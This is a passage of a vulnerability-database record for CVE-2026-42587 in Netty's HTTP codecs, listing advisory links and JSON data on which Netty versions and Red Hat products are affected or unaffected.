| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://access.redhat.com/security/cve/CVE-2026-42587 | ||
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://bugzilla.redhat.com/show_bug.cgi?id=2477220 | ||
| 134c704f-9b21-4f2e-91b3-4a467353bcc0 | https://github.com/netty/netty/security/advisories/GHSA-f6hv-jmp6-3vwv | Exploit, Mitigation, Vendor Advisory | |
| 0b0ca135-0b70-47e7-9f44-1890c2a1c46c | https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42587.json |
{
"affected": [
{
"affectedData": [
{
"product": "netty",
"vendor": "netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
},
{
"product": "netty-codec-http2",
"vendor": "io.netty",
"versions": [
{
"status": "affected",
"version": "\u003e= 4.2.0.Alpha1, \u003c 4.2.13.Final"
},
{
"status": "affected",
"version": "\u003c 4.1.133.Final"
}
]
}
],
"source": "security-advisories@github.com"
},
{
"affectedData": [
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-reports-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/cryostat-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:cryostat:4::el9"
],
"defaultStatus": "affected",
"packageName": "cryostat/jfr-datasource-rhel9",
"product": "Cryostat 4 on RHEL 9",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "4.2.0-10",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apache_camel_spring_boot:4.18"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Apache Camel 4.18.1.P1 for Spring Boot 3.5.16",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.27::el8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat build of Quarkus 3.27.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:quarkus:3.33::el8"
],
"defaultStatus": "unaffected",
"product": "Red Hat build of Quarkus 3.33.2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_data_grid:8"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat Data Grid 8.6.2",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 7.4.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http",
"versionType": "rpm"
},
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-activemq-artemis",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.16.0-22.redhat_00057.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-glassfish-jsf",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.3.14-11.SP11_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-ironjacamar",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.5.26-2.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-annotations",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-core",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-databind",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-jaxrs-providers",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-modules-base",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jackson-modules-java8",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.18.8-1.redhat_00003.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jboss-remoting",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:5.0.31-3.SP2_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-jboss-server-migration",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:1.10.0-46.Final_redhat_00044.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-netty",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.135-1.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-netty-transport-native-epoll",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:4.1.135-1.Final_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-picketlink-bindings",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.5-30.SP12_redhat_00020.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-picketlink-federation",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.5.5-24.SP12_redhat_00016.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-undertow",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:2.2.40-2.SP3_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform_els:7.4::el7"
],
"defaultStatus": "affected",
"packageName": "eap7-wildfly",
"product": "Red Hat JBoss Enterprise Application Platform 7.4 ELS on RHEL 7",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "0:7.4.25-2.GA_redhat_00001.1.el7eap",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8.1::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Red Hat JBoss Enterprise Application Platform 8.1",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_streams:2.9::el9"
],
"defaultStatus": "affected",
"packageName": "netty",
"product": "Streams for Apache Kafka 2.9.4",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "codec-http2",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_ai:2.25::el9"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-modelmesh-rhel9",
"product": "Red Hat OpenShift AI 2.25",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1783443816",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/openvsx-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780948325",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/pluginregistry-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780696380",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.28::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/server-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.28",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1780694994",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://catalog.redhat.com/software/containers/",
"cpes": [
"cpe:/a:redhat:openshift_devspaces:3.29::el9"
],
"defaultStatus": "affected",
"packageName": "devspaces/multicluster-redirector-rhel9",
"product": "Red Hat OpenShift Dev Spaces 3.29",
"vendor": "Red Hat",
"versions": [
{
"lessThan": "*",
"status": "unaffected",
"version": "1782989027",
"versionType": "rpm"
}
]
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:cryostat:4"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Cryostat 4",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-dispatcher-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-ekb-receiver-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-ddb-streams-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-s3-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sns-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-aws-sqs-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-log-sink-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:serverless:1"
],
"defaultStatus": "affected",
"packageName": "openshift-serverless-1/kn-eventing-integrations-timer-source-rhel9",
"product": "OpenShift Serverless",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_broker:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat AMQ Broker 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:amq_clients:2023"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat AMQ Clients",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:camel_quarkus:3"
],
"defaultStatus": "unaffected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apache Camel 4 for Quarkus 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:service_registry:2"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 2",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:apicurio_registry:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Apicurio Registry 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:debezium:3"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of Debezium 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk/keycloak-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-openshift-rhel9/rhbk-openshift-rhel9",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:build_keycloak:"
],
"defaultStatus": "affected",
"packageName": "rhbk-rhel9-operator/rhbk-rhel9-operator",
"product": "Red Hat Build of Keycloak",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:optaplanner:::el6"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat build of OptaPlanner 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel6",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel7",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:enterprise_linux_ai:3"
],
"defaultStatus": "unaffected",
"packageName": "bazel8",
"product": "Red Hat Enterprise Linux AI (RHEL AI) 3",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_fuse:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Fuse 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_application_platform:8"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform 8",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jbosseapxp"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat JBoss Enterprise Application Platform Expansion Pack",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-modelmesh-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-spark-operator-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cpu-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch210-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-cuda130-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-th06-rocm64-torch291-py312-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "unaffected",
"packageName": "rhoai/odh-trustyai-service-rhel8",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:openshift_ai"
],
"defaultStatus": "affected",
"packageName": "rhoai/odh-trustyai-service-rhel9",
"product": "Red Hat OpenShift AI (RHOAI)",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:jboss_enterprise_bpms_platform:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Process Automation 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:satellite:6"
],
"defaultStatus": "unaffected",
"packageName": "satellite:el8/candlepin",
"product": "Red Hat Satellite 6",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
"collectionURL": "https://access.redhat.com/downloads/content/package-browser/",
"cpes": [
"cpe:/a:redhat:red_hat_single_sign_on:7"
],
"defaultStatus": "affected",
"packageName": "netty-codec-http2",
"product": "Red Hat Single Sign-On 7",
"vendor": "Red Hat"
},
{
